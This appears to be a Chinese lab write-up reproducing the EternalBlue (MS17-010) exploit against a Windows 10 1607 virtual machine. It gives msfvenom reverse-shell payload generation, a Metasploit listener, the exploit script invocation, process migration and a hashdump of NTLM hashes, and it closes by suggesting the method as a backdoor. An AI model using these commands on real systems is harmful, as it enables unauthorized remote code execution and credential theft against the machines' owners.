1. 背景介绍
永恒之蓝(ms17-010
)通过TCP
端口445
和139
来利用SMBv1
和NBT
中的远程代码执行漏洞,恶意代码会扫描开放445
文件共享端口的Windows
机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
参考:https://www.freebuf.com/vuls/349281.html
本文有其他师傅的帮助,感谢各位师傅。
其实永恒之蓝这个漏洞影响的范围非常广,大致有以下类型:
Windows 2016 x64 Windows 10 Pro Vuild 10240 x64 Windows 2012 R2 x64 Windows 8.1 x64 Windows 2008 R2 SP1 x64 Windows 7 SP1 x64 Windows 2008 SP1 x64 Windows 2003 R2 SP2 x64 Windows XP SP2 x64 Windows 8.1 x86 Windows 7 SP1 x86 Windows 2008 SP1 x86 Windows 2003 SP2 x86 Windows XP SP3 x86 Windows 2000 SP4 x86
相关的cve
有:CVE-2017-0145、CVE-2017-0146、CVE-2017-0147、CVE-2017-0148
基本上我们搜索永恒之蓝漏洞复现,99%
的师傅选择的都是Windows7
或者Windows server2008
,因为这两个系统复现的成功了将近100%
(在存在漏洞的情况下),复现的前提条件是:
- 关闭防火墙
- 关闭杀软(当然
win7
和08
本身不带有任何杀软) - 确认
445
端口开放
但是在上述列表中,该漏洞甚至还影响Windows10
、Windows server2016
等,所以在这里复现的时候,查找了很多资料,只在YouTube
上看到部分复现的视频,上面复现使用的是Windows server2016 standard Evaluation
版本,后来我们尝试使用非常多的镜像版本去尝试复现:
其中有一个Windows10 pro
英文版,其他师傅短暂复现成功过一次之后,其他均失败。
2. Windows10 1607版本漏洞复现
后来经过曾哥
师傅的指点,在Windows10 1511
和1607
的版本上可能存在漏洞,并且他在1607
版本上复现成功,经过整理发现,复现成功需要以下条件:
- 关闭
Windows defender
- 禁止
Windows10
更新 - 关闭防火墙
- 在本地计算机策略里面,修改本地策略的安全选项,设置可匿名访问的共享
- 使用老版本msf或者使用工具自己跑
2.1 msf新版
攻击机:mac
10.30.1.214
靶机:Windows10
虚拟机 1607
版本192.168.135.28
当然啦,我们先按照新版本msf6
和不关闭组策略的情况下进行测试,先安装了一个1607
版本的镜像虚拟机:
ed2k://|file|cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso|4347183104|35EA5DB0F3BB714F5CE0740FB89D82D1|/
先关闭其他的杂项,关闭Windows defender
:
关闭防火墙等,不设置可匿名访问的共享,在这里查看ip
和版本信息:
使用msf6
来进行测试:
使用第一个进行测试,在这里面的第二个2023
的那个,是老版本msf5
里面的,是我自己加上去的,后续再说:
在这里发现,无论如何run
,都会存在一个错误,这是网络连接错误,在这里就按照上面师傅的要求设置可匿名访问的共享,再跑:
在这里设置为\
,保存之后再跑一下:
这次没有错误了,但是你无论如何run
,会话就回不来,看下当前模块支持的系统类型:
当前是支持这里面的win10
的,可能是系统不对的问题,如果使用老版的msf
来执行的话,其实可以直接弹回来的,在这里借用橘子
师傅的截图:
当然如果将msf5
版本的模块直接放到msf6
里面使用的话,会因为一些问题发生报错,可能是因为版本的问题:
2.2 工具版
攻击机:mac
10.30.1.214
靶机:Windows10
虚拟机 1607
版本 192.168.135.28
如果不使用msf
的话,在这里参考以下师傅的文章,利用工具来进行复现,当然前提依旧是需要设置可匿名访问的共享:
https://blog.csdn.net/shuryuu/article/details/121159254
工具地址:
https://github.com/worawit/MS17-010
2.2.1 检测永恒之蓝漏洞
将github
上工具下载到本地之后,先试用脚本检测下是否存在永恒之蓝漏洞,在这里使用Python2
:
python checker.py 192.168.135.28
上图是正常的,如果是不正常的会显示:
当前如果再执行exp
的话,会失败。
2.2.2 漏洞利用
首先生成一个exe
,等会回弹到本地来:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.30.1.214 LPORT=7788 -f exe -o 7788.exe
另外一侧,打开msf
,准备接收会话:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 10.30.1.214 set lport 7788 run
打开刚下载的代码中的zzz_exploit.py
文件,注释以下几行:
取消注释以下几行,并修改其中的文件:
在这里注意:第一个7788.exe
是要和你的脚本在同一个文件夹下,如果不在的话,可以写其他的绝对路径,比如:/tmp/1.exe
,如果永恒之蓝漏洞执行成功的话,就会将这个文件传到靶机的C
盘下,文件名就是7788.exe
。修改好之后,准备执行:
python zzz_exploit.py 192.168.135.28 netlogon(这个可以不带)
此时会话就弹回来了:
此时尝试抓取hash
:
显示无法抓取,应该是进程问题,将进程由x86
的迁移至x64
的应该就可以了,查看下当前的进程:
meterpreter > hashdump [-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > getpid Current pid: 5616 meterpreter > ps
将当前的进程迁移至session
为0
,权限是system
的x64
的进程上来:
迁移到308
上:
meterpreter > migrate 308 [*] Migrating from 5616 to 308... [*] Migration completed successfully. meterpreter > hashdump admin:1000:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634::: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
再进行解密即可:
2.3 影响Windows10漏洞的因素
其实在上面2.2
执行的时候,有些步骤配置了,但是依旧失败:
- 关闭
Windows defender
- 禁止
Windows10
更新 - 关闭防火墙
- 在本地计算机策略里面,修改本地策略的安全选项,设置可匿名访问的共享
但是在重启之后,就可以了,在这里经过测试发现,设置可匿名访问的共享是当前Windows10
版本利用的必要条件。如果以上还不能成功,可以尝试开启3389
,允许任何人访问。
并在本地安全策略中,关闭以下选项,重启之后再测试:
3. 总结
本次Windows10
版本的永恒之蓝漏洞,理论上利用比较苛刻,需要手动配置,所以在实战中,基本上没有太大用处,但是不妨可以作为后门的一种。